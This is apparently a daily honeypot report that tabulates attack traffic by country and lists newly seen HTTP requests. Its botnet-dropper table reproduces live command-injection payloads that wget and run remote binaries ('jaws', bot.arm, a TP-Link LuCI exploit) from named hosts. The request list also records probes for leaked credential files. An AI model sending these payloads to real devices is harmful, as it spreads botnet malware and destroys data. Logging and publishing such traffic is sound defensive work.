Table of Contents

Daily Report: 2025-07-07
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 15 stage 1 IP address(es), linked to 4 dropper URL(s).

There are 286 new requests that have never been observed before (these were added to the monitored request database.).

A total of 1614 requests were recorded during the day, originating from 15 different countries, with a peak of 745 requests coming from SG.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
KR	Germany
US	Germany
DE	Germany
US	Germany
US	Germany
US	Dubai
CN	Georgia

botnet_dropper_behaviour
#

remote_addr	request
8.222.186.148	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
118.193.61.245	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
207.167.66.226	GET /shell.cgi?wget+http%3A%2F%2F195.26.230.140%2Fbot.arm%3Bchmod+%2Bx+bot.arm%3B.%2Fbot.arm+netwave HTTP/1.1
8.222.162.163	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
8.222.145.211	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
128.14.227.182	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
47.236.247.145	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
128.1.32.115	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
8.222.132.133	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
156.238.249.239	GET /shell?cd+/tmp;rm+-rf+*;wget+38.57.46.116/jaws;sh+/tmp/jaws HTTP/1.1
8.219.57.99	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
121.237.177.84	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
87.121.84.34	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget+http://220.158.234.135/x/tplink+-O-
41.238.44.147	GET /shell?cd+/tmp;rm+-rf+*;wget+38.57.46.116/jaws;sh+/tmp/jaws HTTP/1.1
182.42.156.162	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
10	6	GET /connector.sds HTTP/1.1
65	3	GET /root.zip HTTP/1.1
66	3	GET /functions.zip HTTP/1.1
67	3	GET /dashboard.zip HTTP/1.1
68	3	GET /aws/data.zip HTTP/1.1
69	3	GET /db_backup.zip HTTP/1.1
70	3	GET /uploads.zip HTTP/1.1
71	3	GET /python_server.zip HTTP/1.1
72	3	GET /temporary.zip HTTP/1.1
73	3	GET /s3/data.zip HTTP/1.1
74	3	GET /public.zip HTTP/1.1
75	3	GET /bak.zip HTTP/1.1
76	3	GET /Archive.zip HTTP/1.1
77	3	GET /venv.zip HTTP/1.1
79	3	GET /firebase.zip HTTP/1.1
80	3	GET /django.zip HTTP/1.1
81	3	GET /index.zip HTTP/1.1
82	3	GET /mail.zip HTTP/1.1
83	3	GET /package.zip HTTP/1.1
84	3	GET /administrators.zip HTTP/1.1
85	3	GET /server.zip HTTP/1.1
86	3	GET /website.zip HTTP/1.1
87	3	GET /node_modules.zip HTTP/1.1
88	3	GET /asgi.py.zip HTTP/1.1
90	3	GET /users.zip HTTP/1.1
91	3	GET /sqllite.zip HTTP/1.1
93	3	GET /database.zip HTTP/1.1
94	3	GET /creds.zip HTTP/1.1
95	3	GET /sqlite.zip HTTP/1.1
96	3	GET /config.zip HTTP/1.1
97	3	GET /config.js.zip HTTP/1.1
98	3	GET /configuration.zip HTTP/1.1
99	3	GET /dbadmin.zip HTTP/1.1
100	3	GET /s3.zip HTTP/1.1
101	3	GET /conf/conf.zip HTTP/1.1
102	3	GET /s3/backup.zip HTTP/1.1
103	3	GET /configs.zip HTTP/1.1
104	3	GET /ftp.zip HTTP/1.1
105	3	GET /aws/credentials.zip HTTP/1.1
106	3	GET /base.zip HTTP/1.1
107	3	GET /ec2/image.zip HTTP/1.1
108	3	GET /sql.zip HTTP/1.1
109	3	GET /backups.zip HTTP/1.1
110	3	GET /backup_4.zip HTTP/1.1
111	3	GET /lite.zip HTTP/1.1
112	3	GET /controllers.zip HTTP/1.1
113	3	GET /websites.zip HTTP/1.1
114	3	GET /private.zip HTTP/1.1
115	3	GET /dbase.zip HTTP/1.1
116	3	GET /tmp.zip HTTP/1.1
117	3	GET /home.zip HTTP/1.1
118	3	GET /backup_2.zip HTTP/1.1
119	3	GET /archive.zip HTTP/1.1
120	3	GET /mysql.zip HTTP/1.1
121	3	GET /ec2/snapshot.zip HTTP/1.1
122	3	GET /aws.zip HTTP/1.1
124	3	GET /s3/db.zip HTTP/1.1
125	3	GET /go.sum.zip HTTP/1.1
126	3	GET /os.zip HTTP/1.1
127	3	GET /ec2.zip HTTP/1.1
128	3	GET /nuxt.zip HTTP/1.1
129	3	GET /wsgi.py.zip HTTP/1.1
130	3	GET /middleware.zip HTTP/1.1
131	3	GET /conf.zip HTTP/1.1
132	3	GET /pipenv.zip HTTP/1.1
133	3	GET /routes.zip HTTP/1.1
134	3	GET /requirements.txt.zip HTTP/1.1
136	3	GET /webapps.zip HTTP/1.1
137	3	GET /lambda.zip HTTP/1.1
138	3	GET /WEB-INF.zip HTTP/1.1
139	3	GET /pipfile.zip HTTP/1.1
140	3	GET /js_server.zip HTTP/1.1
141	3	GET /templates.zip HTTP/1.1
142	3	GET /credentials.zip HTTP/1.1
143	3	GET /support.zip HTTP/1.1
144	3	GET /pydantic.zip HTTP/1.1
145	3	GET /main.go.zip HTTP/1.1
146	3	GET /app.py.zip HTTP/1.1
147	3	GET /handlers.zip HTTP/1.1
148	3	GET /pyproject.toml.zip HTTP/1.1
149	3	GET /application.properties.zip HTTP/1.1
150	3	GET /ci.zip HTTP/1.1
151	3	GET /nestjs.zip HTTP/1.1
152	3	GET /aws/secrets.zip HTTP/1.1
153	3	GET /js_backend.zip HTTP/1.1
154	3	GET /koa.zip HTTP/1.1
155	3	GET /administration.zip HTTP/1.1
156	3	GET /fiber.zip HTTP/1.1
158	3	GET /htdocs.zip HTTP/1.1
159	3	GET /mailer.zip HTTP/1.1
160	3	GET /router.zip HTTP/1.1
161	3	GET /api_server.zip HTTP/1.1
162	3	GET /temp.zip HTTP/1.1
164	3	GET /lib.zip HTTP/1.1
165	3	GET /mux.zip HTTP/1.1
166	3	GET /pom.xml.zip HTTP/1.1
167	3	GET /apis.zip HTTP/1.1
168	3	GET /package-lock.json.zip HTTP/1.1
169	3	GET /ec2/temp.zip HTTP/1.1
170	3	GET /pkg.zip HTTP/1.1
171	3	GET /instance.zip HTTP/1.1
172	3	GET /main.py.zip HTTP/1.1
173	3	GET /aws/config.zip HTTP/1.1
174	3	GET /admin.zip HTTP/1.1
175	3	GET /back_up.zip HTTP/1.1
176	3	GET /vercel.zip HTTP/1.1
177	3	GET /nextjs.zip HTTP/1.1
178	3	GET /settings.py.zip HTTP/1.1
179	3	GET /gin.zip HTTP/1.1
180	3	GET /config.go.zip HTTP/1.1
181	3	GET /server.js.zip HTTP/1.1
183	3	GET /keys.zip HTTP/1.1
184	3	GET /devops.zip HTTP/1.1
185	3	GET /private_keys.zip HTTP/1.1
186	3	GET /.env.dev.zip HTTP/1.1
187	3	GET /Rakefile.zip HTTP/1.1
188	3	GET /jenkins.zip HTTP/1.1
189	3	GET /autoload.zip HTTP/1.1
190	3	GET /META-INF.zip HTTP/1.1
191	3	GET /key.pem.zip HTTP/1.1
192	3	GET /dev.zip HTTP/1.1
193	3	GET /editor.zip HTTP/1.1
195	3	GET /charts.zip HTTP/1.1
196	3	GET /secrets.json.zip HTTP/1.1
197	3	GET /go.mod.zip HTTP/1.1
198	3	GET /Dockerfile.zip HTTP/1.1
199	3	GET /docker-compose.yml.zip HTTP/1.1
200	3	GET /helm.zip HTTP/1.1
201	3	GET /target.zip HTTP/1.1
202	3	GET /spring.zip HTTP/1.1
203	3	GET /key.zip HTTP/1.1
204	3	GET /k8s.zip HTTP/1.1
205	3	GET /webpack.zip HTTP/1.1
206	3	GET /php_backend.zip HTTP/1.1
207	3	GET /project.zip HTTP/1.1
208	3	GET /config.json.zip HTTP/1.1
209	3	GET /tokens.zip HTTP/1.1
211	3	GET /react.zip HTTP/1.1
212	3	GET /cicd.zip HTTP/1.1
213	3	GET /vite.zip HTTP/1.1
214	3	GET /compose.zip HTTP/1.1
215	3	GET /Gemfile.zip HTTP/1.1
216	3	GET /migrations.zip HTTP/1.1
217	3	GET /gradle.zip HTTP/1.1
218	3	GET /rails.zip HTTP/1.1
219	3	GET /chi.zip HTTP/1.1
220	3	GET /go_server.zip HTTP/1.1
221	3	GET /apps.zip HTTP/1.1
222	3	GET /.env.production.zip HTTP/1.1
223	3	GET /hapi.zip HTTP/1.1
224	3	GET /web.xml.zip HTTP/1.1
231	3	GET /flask.zip HTTP/1.1
232	3	GET /projects.zip HTTP/1.1
233	3	GET /auth.zip HTTP/1.1
234	3	GET /jsconfig.json.zip HTTP/1.1
235	3	GET /babel.zip HTTP/1.1
236	3	GET /config.ru.zip HTTP/1.1
237	3	GET /apikeys.zip HTTP/1.1
238	3	GET /api_keys.zip HTTP/1.1
239	3	GET /springboot.zip HTTP/1.1
240	3	GET /sql_dump.zip HTTP/1.1
241	3	GET /ruby.zip HTTP/1.1
243	3	GET /id_rsa.pub.zip HTTP/1.1
244	3	GET /dev_env.zip HTTP/1.1
245	3	GET /.env.local.zip HTTP/1.1
246	3	GET /workspace.zip HTTP/1.1
247	3	GET /manage.py.zip HTTP/1.1
248	3	GET /.github.zip HTTP/1.1
251	3	GET /ec2/root.zip HTTP/1.1
252	3	GET /db.zip HTTP/1.1
254	3	GET /Release.zip HTTP/1.1
255	3	GET /express.zip HTTP/1.1
256	3	GET /kubernetes.zip HTTP/1.1
258	3	GET /.git.zip HTTP/1.1
259	3	GET /vue.zip HTTP/1.1
260	3	GET /application.yml.zip HTTP/1.1
261	3	GET /fastapi.zip HTTP/1.1
262	3	GET /java_backend.zip HTTP/1.1
263	3	GET /composer.lock.zip HTTP/1.1
264	3	GET /vendor.zip HTTP/1.1
265	3	GET /cert.pem.zip HTTP/1.1
267	3	GET /app.zip HTTP/1.1
268	3	GET /public_html.zip HTTP/1.1
269	3	GET /output.zip HTTP/1.1
270	3	GET /inetpub.zip HTTP/1.1
271	3	GET /package.json.zip HTTP/1.1
272	3	GET /wordpress.zip HTTP/1.1
274	3	GET /api.zip HTTP/1.1
275	3	GET /backup_1.zip HTTP/1.1
276	3	GET /s3/config.zip HTTP/1.1
279	3	GET /backup_3.zip HTTP/1.1
281	3	GET /dbdump.zip HTTP/1.1
282	3	GET /wwwroot.zip HTTP/1.1
283	3	GET /Gemfile.lock.zip HTTP/1.1
284	3	GET /secrets.zip HTTP/1.1
285	3	GET /core.zip HTTP/1.1
286	3	GET /hugo.zip HTTP/1.1
287	3	GET /template.zip HTTP/1.1
288	3	GET /token.zip HTTP/1.1
289	3	GET /id_rsa.zip HTTP/1.1
290	3	GET /utils.zip HTTP/1.1
291	3	GET /next.zip HTTP/1.1
292	3	GET /build.gradle.zip HTTP/1.1
293	3	GET /php.zip HTTP/1.1
295	3	GET /rollup.zip HTTP/1.1
296	3	GET /angular.zip HTTP/1.1
297	3	GET /composer.json.zip HTTP/1.1
298	3	GET /prettier.zip HTTP/1.1
299	3	GET /static.zip HTTP/1.1
300	3	GET /laravel.zip HTTP/1.1
301	3	GET /classes.zip HTTP/1.1
302	3	GET /cmd.zip HTTP/1.1
303	3	GET /internal.zip HTTP/1.1
304	3	GET /pycache.zip HTTP/1.1
305	3	GET /golang_backend.zip HTTP/1.1
306	3	GET /.gitlab-ci.yml.zip HTTP/1.1
307	3	GET /eslint.zip HTTP/1.1
308	3	GET /tsconfig.json.zip HTTP/1.1
309	3	GET /python_backend.zip HTTP/1.1
310	3	GET /jekyll.zip HTTP/1.1
311	3	GET /nest.zip HTTP/1.1
312	3	GET /auth.json.zip HTTP/1.1
313	3	GET /api_key.zip HTTP/1.1
314	3	GET /symfony.zip HTTP/1.1
315	3	GET /jsp.zip HTTP/1.1
316	3	GET /svelte.zip HTTP/1.1
320	2	CONNECT www.serv00.com:443 HTTP/1.1
377	1	\x00\x0E\x08\xF8\x9F\xD4w\x94S\x9F\xA4\x00\x00\x00\x00\x00
378	1	\x00\x0E8\xF8\x9F\xD4w\x94S\x9F\xA4\x00\x00\x00\x00\x00
408	1	GET /odinhttpcall1751874539 HTTP/1.1
410	1	GET /OdinHttpCall1751874539 HTTP/1.1
411	1	GET /Odin/http/call1751874539 HTTP/1.1
413	1	GET http://xxx.xxx.xxx.xxx:80/php/scripts/setup.php HTTP/1.0
414	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0
423	1	GET /admin/includes/general.js HTTP/1.1
424	1	GET /images/editor/separator.gif HTTP/1.1
453	1	\x00\x0E\x08\x8E}o\xC6Fm\x18H\x00\x00\x00\x00\x00
454	1	\x00\x0E8\x8E}o\xC6Fm\x18H\x00\x00\x00\x00\x00
474	1	GET /shell.cgi?echo+check HTTP/1.1
477	1	GET http://xxx.xxx.xxx.xxx:80/webadmin/scripts/setup.php HTTP/1.0
478	1	GET http://xxx.xxx.xxx.xxx:80/pma/scripts/setup.php HTTP/1.0
479	1	GET http://xxx.xxx.xxx.xxx:80/_phpMyAdmin/scripts/setup.php HTTP/1.0
480	1	GET http://xxx.xxx.xxx.xxx:80/PHPMYADMIN/scripts/setup.php HTTP/1.0
481	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0
483	1	GET http://xxx.xxx.xxx.xxx:80/dbadmin/scripts/setup.php HTTP/1.0
487	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0
488	1	GET http://xxx.xxx.xxx.xxx:80/sqlmanager/scripts/setup.php HTTP/1.0
489	1	GET http://xxx.xxx.xxx.xxx:80/mysql/scripts/setup.php HTTP/1.0
490	1	GET http://xxx.xxx.xxx.xxx:80/myadmin/scripts/setup.php HTTP/1.0
491	1	GET http://xxx.xxx.xxx.xxx:80/MyAdmin/scripts/setup.php HTTP/1.0
492	1	GET /css/elfinder.min.css HTTP/1.1
493	1	GET /api/v3/meta HTTP/1.1
494	1	GET /am_bin/amlogin HTTP/1.1
495	1	GET /system/version/current HTTP/1.1
496	1	GET http://xxx.xxx.xxx.xxx:80/db/scripts/setup.php HTTP/1.0
503	1	GET /plugin/webs_model_cfg.js HTTP/1.1
504	1	GET /Main_Login.asp HTTP/1.1
505	1	GET /cgi-bin/luci HTTP/1.1
506	1	GET /cap.js HTTP/1.1
507	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin2/scripts/setup.php HTTP/1.0
508	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0
518	1	GET http://xxx.xxx.xxx.xxx:80/phpmyadmin/scripts/setup.php HTTP/1.0
528	1	GET http://xxx.xxx.xxx.xxx:80/sql/scripts/setup.php HTTP/1.0
529	1	GET http://xxx.xxx.xxx.xxx:80/mysql-admin/scripts/setup.php HTTP/1.0
530	1	GET http://xxx.xxx.xxx.xxx:80/sqlweb/scripts/setup.php HTTP/1.0
531	1	GET http://xxx.xxx.xxx.xxx:80/web/phpMyAdmin/scripts/setup.php HTTP/1.0
532	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0
533	1	GET http://xxx.xxx.xxx.xxx:80/SQL/scripts/setup.php HTTP/1.0
534	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin/scripts/setup.php HTTP/1.0
535	1	GET http://xxx.xxx.xxx.xxx:80/phpma/scripts/setup.php HTTP/1.0
554	1	GET /centreon/api/latest/platform/versions HTTP/1.1
583	1	\x00\x0E\x08C\x8BzZ\x1A\xA3dU\x00\x00\x00\x00\x00
584	1	\x00\x0E8C\x8BzZ\x1A\xA3dU\x00\x00\x00\x00\x00
596	1	GET /workplace/home.action HTTP/1.1
597	1	GET /css/eonweb.css HTTP/1.1
598	1	GET /pandora_console/ HTTP/1.1
602	1	GET /javascript/validation/OEM.js HTTP/1.1
605	1	GET /webportal.cgi HTTP/1.1
607	1	\x00\x0E\x08<\xA8n \x1F\x87\x14F\x00\x00\x00\x00\x00
609	1	\x00\x0E8<\xA8n \x1F\x87\x14F\x00\x00\x00\x00\x00
610	1	GET /api/v1/version HTTP/1.1
611	1	GET /i18n/component/JS HTTP/1.1
612	1	GET /hx/api/about HTTP/1.1
613	1	GET /app/ui/login.jsp HTTP/1.1
614	1	GET /login/?next=/ HTTP/1.1
615	1	GET /MagicInfo/config.js HTTP/1.1

country_iso_code
#

	number_of_occurence	country_iso_code
0	745	SG
1	216	US
2	109	CN
3	84	FR
4	75	DE
5	73	NL
6	46	SE
7	38	RU
8	34	SC
9	27	CA
10	24	JP
11	22	PL
12	18	BG
13	12	MT
14	11	AU
15	9	BR
16	7	GB
17	6	FI
18	6	BE
19	6	GH
20	5	UA
21	4	LT
22	4	KR
23	3	KZ
24	3	IN
25	2	AO
26	2	MM
27	2	ZA
28	2	TW
29	2	CO
30	2	AE
31	2	IE
32	1	RO
33	1	MU
34	1	ES
35	1	IL
36	1	PK
37	1	IR
38	1	CL
39	1	KH
40	1	AT
41	1	NG
42	1	EG
43	1	ID
44	1	AR

Report: 2025-07-06

6 July 2025·307 words

Repport Daily

Report: 2025-07-05

5 July 2025·484 words

Repport Daily

Report: 2025-07-04

4 July 2025·350 words

Repport Daily

	number_of_occurence	country_iso_code
0	745	SG
1	216	US
2	109	CN
3	84	FR
4	75	DE
5	73	NL
6	46	SE
7	38	RU
8	34	SC
9	27	CA
10	24	JP
11	22	PL
12	18	BG
13	12	MT
14	11	AU
15	9	BR
16	7	GB
17	6	FI
18	6	BE
19	6	GH
20	5	UA
21	4	LT
22	4	KR
23	3	KZ
24	3	IN
25	2	AO
26	2	MM
27	2	ZA
28	2	TW
29	2	CO
30	2	AE
31	2	IE
32	1	RO
33	1	MU
34	1	ES
35	1	IL
36	1	PK
37	1	IR
38	1	CL
39	1	KH
40	1	AT
41	1	NG
42	1	EG
43	1	ID
44	1	AR

	number_of_occurence	country_iso_code
0	745	SG
1	216	US
2	109	CN
3	84	FR
4	75	DE
5	73	NL
6	46	SE
7	38	RU
8	34	SC
9	27	CA
10	24	JP
11	22	PL
12	18	BG
13	12	MT
14	11	AU
15	9	BR
16	7	GB
17	6	FI
18	6	BE
19	6	GH
20	5	UA
21	4	LT
22	4	KR
23	3	KZ
24	3	IN
25	2	AO
26	2	MM
27	2	ZA
28	2	TW
29	2	CO
30	2	AE
31	2	IE
32	1	RO
33	1	MU
34	1	ES
35	1	IL
36	1	PK
37	1	IR
38	1	CL
39	1	KH
40	1	AT
41	1	NG
42	1	EG
43	1	ID
44	1	AR

Daily Report: 2025-07-07#

Executive summary#

executive_summary#

ot_simplified_report#

botnet_dropper_behaviour#

request#

country_iso_code#

Related

Daily Report: 2025-07-07
#

Executive summary
#

executive_summary
#

ot_simplified_report
#

botnet_dropper_behaviour
#

request
#

country_iso_code
#

	number_of_occurence	country_iso_code
0	745	SG
1	216	US
2	109	CN
3	84	FR
4	75	DE
5	73	NL
6	46	SE
7	38	RU
8	34	SC
9	27	CA
10	24	JP
11	22	PL
12	18	BG
13	12	MT
14	11	AU
15	9	BR
16	7	GB
17	6	FI
18	6	BE
19	6	GH
20	5	UA
21	4	LT
22	4	KR
23	3	KZ
24	3	IN
25	2	AO
26	2	MM
27	2	ZA
28	2	TW
29	2	CO
30	2	AE
31	2	IE
32	1	RO
33	1	MU
34	1	ES
35	1	IL
36	1	PK
37	1	IR
38	1	CL
39	1	KH
40	1	AT
41	1	NG
42	1	EG
43	1	ID
44	1	AR